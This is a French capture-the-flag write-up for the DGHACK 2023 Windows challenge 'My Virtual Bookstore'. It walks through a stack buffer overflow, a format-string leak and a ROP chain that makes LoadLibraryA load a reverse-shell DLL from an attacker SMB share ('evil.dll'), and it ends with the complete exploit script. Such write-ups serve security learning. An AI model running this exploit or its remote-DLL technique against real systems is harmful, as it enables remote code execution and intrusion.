[DGHACK 2023] - My Virtual Bookstore

LelBy included in Pwn

19/11/2023 2073 words 10 minutes

/posts/dghack-2023/images/my_virtual_bookstore_preview.jpeg

Contents

Description

Ce challenge est issu du DGHACK 2023, organisé par la DGA.

My Virtual Book Store est un challenge d’exploitation de binaire sur Windows. Le but est d’exploiter un service hébergé sur une machine Windows accessible avec un VPN, et d’en prendre le contrôle.

Catégorie : Exploitation 💣

Difficulté : Difficile

Protections : ASLR, NX, Stack Canary

TL;DR

Exploitation d’un service web utilisant la librairie libmicrohttpd sur une machine Windows distante accessible à travers un VPN
Exploitation d’un Stack Based Buffer Overflow dans le mauvais traitement d’un paramètre d’URL
Leak du stack cookie, d’une adresse du binaire et d’une adresse de stack grâce à un format strings bug causé par la mauvaise utilisation de la fonction snprintf dans un champs de formulaire
Exécution de code arbitraire à l’aide d’une ROP chain sur LoadLibraryA permettant le chargement arbitraire d’une DLL à distance

Analyse de l’environnement

La machine cible à exploiter est une machine Windows distante, accessible via une connexion VPN. Seuls les ports standard des serveurs Windows sont ouverts, à savoir tcp/443 et tcp/135, utilisés respectivement pour les services MS-RPC et SMB, ainsi que le port 80, sur lequel un service web est en fonctionnement.

Lorsque l’on tente d’accéder au port 80 on obtient cette page web :

Les ressources mises à disposition sont :

Le binaire mvb_backend.exe et ses DLLs
Une version portable de Nginx ainsi que sa configuration
Un fichier .bat qui lance l’environnement

Le serveur Nginx est configuré en reverse proxy et redirige tout le trafic de la route /api/ vers le binaire mvb_backend.exe, qui écoute sur le port tcp/8888.

# Route to mvb_backend.exe
location /api/ {
        proxy_pass   http://127.0.0.1:8888/;
}

Tout semble indiquer que nous allons devoir chercher un moyen d’obtenir une exécution de code grâce au service web exposé, sur l’instance distante ! Il est assez rare de voir des challenges d’exploitation sur Windows, ce qui apporte un peu de nouveauté !

Analyse du binaire

Cette application Web ressemble à une interface de gestion d’une bibliothèque virtuelle. Elle permet de rechercher des documents ainsi que de les télécharger. On peut également y compléter son profile :

En ouvrant le binaire avec IDA, on peut remarquer que le backend utilise la lib libmicrohttpd et que la plus parts des symboles sont présents, ce qui va nous faciliter la tâche lors de la recherche de vulnérabilités.

Initialisation

Le point d’entrée principal est la fonction main, qui initialise un service Windows nommé "my_virtual_bookstore" via le Service Manager, et le démarre à l’aide de StartServiceCtrlDispatcherA. En cas d’échec (par exemple, si l’exécutable est lancé manuellement), il démarre directement le serveur HTTP avec start_http_server.

La fonction start_http_server appelle initialize, qui s’occupe de parser les arguments de la ligne de commande, de définir le port d’écoute, et de préparer l’environnement de travail. Une ligne inhabituelle à attiré mon l’attention :

LoadPlugin(1, 512, 16, 777, "\\\\10.8.0.50\\bookstore_plugins\\pdf_plugin.dll");

Cette fonction fait un appel à LoadLibraryA et tente de charger une DLL via un partage de réseau SMB, pour charger des “plugins” supplémentaires. Bien que cette action ne soit pas essentielle au bon fonctionnement du serveur HTTP, elle peut constituer une surface d’attaque intéressante et nous verrons qu’elle pourra nous servir un peu plus tard !

Enfin, la fonction start_server démarre un daemon libmicrohttpd sur le port spécifié, en précisant le callback utilisé pour traiter chaque requête reçue :

MHD_start_daemon(
	65545LL,
	port,
	0LL,
	0LL,
	(__int64)answer_to_connection, // Main handler callback
	0LL,
	4,
	(__int64)request_completed,
	0LL,
	0
);

Gestions des requêtes

La fonction answer_to_connection constitue le cœur de la gestion des routes. En fonction de la méthode HTTP (GET ou POST), elle redirige la requête vers les handlers appropriés.

Voici un petit résumé de toutes les routes accessibles :

Méthode GET
- /download : Permet de télécharger un fichier avec comme paramètre name
- /search : Permet de faire une recherche des fichiers avec comme paramètre search
- /profile : Affiche les informations du profile
Méthode POST
- /profile : Met à jour les informations du profile à travers un formulaire

Dans chaque handler de route, un callback est enregistré via la fonction MHD_get_connection_values de la bibliothèque libmicrohttpd. Ce callback est invoqué pour chaque paramètre présent dans l’URL, ce qui permet d’en récupérer la valeur ou de le traiter individuellement. Il doit respecter la signature suivante :

MHD_result __cdecl callback_example (void *cls, MHD_ValueKind kind, const char *key, const char *value)

Avec en paramètres :

void* cls : Représentant un pointeur vers une structure de contexte pour sauvegarder les données
enum MHD_ValueKind kind : Le type de valeur, généralement MHD_GET_ARGUMENT_KIND pour les paramètres d’URL GET
const char* key : Le nom du paramètre
const char* value : La valeur du paramètre

Gestion des cookies et sessions

Le serveur HTTP utilise plusieurs structures internes pour gérer les sessions utilisateurs. Lorsqu’une nouvelle connexion est établie, une instance de la structure connection_info_struct est allouée pour représenter l’état de la requête courante :

struct connection_info_struct
{
	int connection_type;
	GHashTable *parameters;
	Session *session;
	MHD_PostProcessor *postprocessor;
};

Avec les champs:

int connection_type : Représentant le type de connexion (GET ou POST)
GHashTable *parameters : Une hashtable contenant les paramètres de la requête POST en cours
Session* session : Qui est un pointeur vers une liste chainée de sessions utilisateurs
MHD_PostProcessor *postprocessor : un postprocessor libmicrohttpd, utilisé pour parser les données d’un formulaire POST

Ainsi chaque structure Session contient le cookie de l’utilisateur connecté, des données de timestamp et un pointeur vers une structure user_info_t contenant les informations d’un utilisateur, enregistré grâce à la route /profile.

struct user_info_t
{
  char *name;
  char *language;
  char *address;
  char *email;
};

Recherche de vulnérabilités

Stack based buffer overflow

Cette première vulnérabilité a été découverte lors de tests sur le paramètre search de la route /search. En effet, l’envoi d’une requête du type /search?search=AAAA...(x4096) entraîne un crash du serveur.

En analysant le code, on constate que le problème se situe dans la fonction handleSearch_param appelé par handleSearch_Iterator, utilisée comme callback pour récupérer les données passées en paramètre dans l’URL, comme expliqué précédemment.

bool __cdecl handleSearch_param(const char *param, GList *results)
{
	char *outString;
	size_t outLen;
	GList *file_list;
	char search_param[520];

	file_list = result;
	// URL decode search param in a dynamic allocated buffer
	urldecode(param, 0LL, outString, outLen);
	// memcpy() without bound check and controlled lenght in a stack buffer
	memcpy(search_param, outString, outLen + 1); //<--- VULNERABILITY : Stack buffer overflow
	free(outString);
	printf("Read %zu chars: %s\n", outLen, outString);
	do_search(search_param, file_list);
	return 1;
}

Le chemin d’appel est le suivant :

GET /search?search=AAAAAA
└── handleGet()
	└── handleSearch()       
		└── handleSearch_Iterator()
			└── handleSearch_param()

Le contenu du paramètre search est décodé, puis copié dans un buffer en stack sans vérification de taille. Le buffer search_param étant situé en bas de la stack, cela nous permet de ne pas écraser d’autres données utilisé par la fonction.

Pour éviter un nouveau crash dans la fonction do_search, appelée immédiatement après, il est nécessaire d’ajouter un octet nul afin de correctement terminer la chaîne de caractères.

Cependant, cette fonction est protéger par un stack cookie. Le programme étant compilé avec MinGW gcc, le stack cookie présent dans cette fonction est le même pour toutes les fonctions.

Nous devons donc trouver le moyen d’obtenir un leak permettant de déterminer la valeur de celui-ci !

Format string bug

Le second bug qui nous permet d’obtenir un leak de stack se situe dans la fonction my_copy, appelé lors de l’affichage du profile de l’utilisateur connecté via la route /profile.

GET /profile
└── handleGet()
	└── user_get_profile()       
		└── get_address_clean()
			└── my_copy()
				└── snprintf()

Cette fonction utilise la fonction snprintf, passant en 3ème argument une format string que l’on contrôle à travers le champs user_info_t->address, renseigné au préalable en envoyant le formulaire POST sur la route /profile .

char *__cdecl my_copy(char *src)
{
	int formatted_size;
	char *copy;
	
	formatted_size = snprintf_1(0LL, 0LL, src) + 1;
	copy = (char *)malloc(formatted_size);
	snprintf_1(copy, formatted_size, src); // <--- Format String Bug
	return copy;
}

Grâce à cette vulnérabilité, nous avons la possibilité de récupérer:

la valeur du stack_cookie
Une adresse de l’exécutable permettant de contourner l’ASLR
Un pointeur de pointeur vers le champs name de la structure user_info_t qui nous servira plus tard

La taille du buffer d’affichage du champs address étant limité, nous ne pouvons récupérer qu’un maximum de 8 QWORDS dans la stack.

Nous avons donc à disposition toutes les informations permettant d’exploiter notre buffer overflow !

Exploitation

Ne disposant pas d’un leak suffisant pour obtenir l’adresse d’une DLL système telle que Kernel32 ou Ntdll, et étant dans un contexte d’exploitation distant, nous devons nous limiter au code déjà présent dans le binaire.
Une piste intéressante m’est alors venue en repensant à cette ligne de code qui appelle LoadLibraryA.

Et s’il était possible de détourner cet appel pour faire charger au programme une DLL arbitraire à distance ?

En effet, la fonction LoadLibraryA accepte les chemins UNC de la forme \\\\<remote_path>, ce qui nous offre une belle primitive d’exécution !

Grâce à la suite impackets, nous pouvons créer un partage SMB accessible sans mot de passe :

smbserver.py evil /home/user/Bureau/share -ip 0.0.0.0 -smb2support

Nous allons donc concevoir une ROP chain qui va appeler LoadLibraryA avec le chemin vers notre DLL hébergée sur notre partage.

Il nous suffit alors d’obtenir un pointeur vers une chaine de caractère que l’on contrôle, dans laquelle nous allons placer le chemin de notre DLL malveillante à charger. Heureusement, grâce au leak de stack, nous avons obtenu un pointeur de pointeur vers le champs name, de la structure user_info_t.

Nous pouvons ainsi enregistrer le profile suivant permettant d’exploiter la format string, et de placer notre argument dans le champs name pour l’appel à LoadLibraryA :

SMB_SERVER = "\\\\192.168.13.3\\evil\\evil.dll"

def leak_data(s):

    data = {
        "name": SMB_SERVER,
        "email":"root@gmail.com",
        "language":"french", "address":"%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx"
    }

    s.post(URL + "/profile", data=data)
    rep = s.get(URL + "/profile")

    return rep.json()['address']

Ainsi, avec les gadgets présents dans le binaires, nous pouvons construire notre ROP chain :

pop rax, ret
&user_info->name        ; &user_info->name (char**)
mov rax, [rax], ret     ; Dereferencing : rax ← *(&user_info->name)
pop rsi, ret
@LoadLibraryA           ; LoadLibraryA (Stub present in the binary)
mov rcx, rax, call rsi  ; Call LoadLibraryA(user_info->name)

Un petit détail nous empêche d’envoyer notre payload correctement. En effet, on observe au debugger que les octets nuls ne passe pas bien.

Pour envoyer des données binaires en HTTP, il faut URL encoder notre payload grâce au caractère %. Comme le serveur Nginx décode une première fois, et que le backend décode manuellement octet par octet le payload, il faut double encoder les données pour que les octets nuls soient pris en compte !

from urllib.parse import quote as url_encode

def trigger_buffer_overflow(s, payload):
    # Double URL encode
    url_encoded = url_encode(url_encode(payload))
    try:
        s.get(URL + "/search?search=" + url_encoded)
        print("[-] Payload sended, waiting for response ...")
    except:
        print("[-] Payload sended, waiting for response ...")

Flag

On prépare un netcat et on lance notre exploit :

Si tout se passe bien, la machine Windows distante se connecte à notre partage SMB pour charger la DLL, dans laquelle nous avons compilé un reverse shell :

Et nous obtenons notre shell en retour !

DGHACK{c44f1120-8740-42d0-acca-e242102c73bc}

Code

from urllib.parse import quote as url_encode
from pwn import *
import requests

PORT = 80
URL = f"http://192.168.13.6:{PORT}"
SMB_SERVER = "\\\\192.168.13.3\\evil\\evil.dll"

def leak_data(s):

    data = {
        "name": SMB_SERVER,
        "email":"root@gmail.com",
        "language":"french",
        "address":"%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx"
    }

    s.post(URL + "/profile", data=data)
    rep = s.get(URL + "/profile")

    return rep.json()['address']

def set_session():

    s = requests.Session()
    s.get(URL)

    return s

def auth(s, username):

    s.post(URL + "/profile", data={"name": username})
    rep = s.get(URL + "/profile")

    return rep

def trigger_buffer_overflow(s, payload):

    # Double URL encode needed
    url_encoded = url_encode(url_encode(payload))

    try:
        s.get(URL + "/search?search=" + url_encoded)
        log.info("Payload sended, waiting for response ...")
    except:
        log.info("Payload sended, waiting for response ...")

def main():

    # Session init
    session = set_session()

    # First authentification
    auth_info = auth(session, "ADMIN")
    log.inf(f"Authentification : {auth_info.text}, {auth_info.cookies}")

    # Leak data with format string bug in user_info_t->address field
    memory_leak = leak_data(session)
    log.info("Memory leak : " + memory_leak)

    stack_cookie = int("0x" + memory_leak.split(".")[6], 16)
    log.info("Leaked stack cookie : " + hex(stack_cookie))

    base_address = int("0x" + memory_leak.split(".")[8], 16) - 0x2B45
    log.info("Base address of mvb_backend.exe : " + hex(base_address))

    LoadLibrary_stub = base_address + 0x2E6A
    log.info("LoadLibraryA() stub address : " + hex(LoadLibrary_stub))

    username_ptr = int("0x" + memory_leak.split(".")[14], 16)
    log.info("&user_info_t->name : " + hex(username_ptr))

    # Gadgets
    pop_rax = base_address + 0x4d2c
    mov_rax_to_rax = base_address + 0xed27
    pop_rsi = base_address + 0x462c
    mov_rcx_rax_call_rsi = base_address + 0xee84

    # Payload + ROP Chain
    payload =  b"A"*15
    payload += b"\x00"*5
    payload += b"A"*500
    payload += p64(stack_cookie)
    payload += b"B"*8
    payload += p64(pop_rax)
    payload += p64(username_ptr)
    payload += p64(mov_rax_to_rax)
    payload += p64(pop_rsi)
    payload += p64(LoadLibrary_stub)
    payload += p64(mov_rcx_rax_call_rsi)
    
    trigger_buffer_overflow(session, payload)

if __name__ == "__main__":
    main()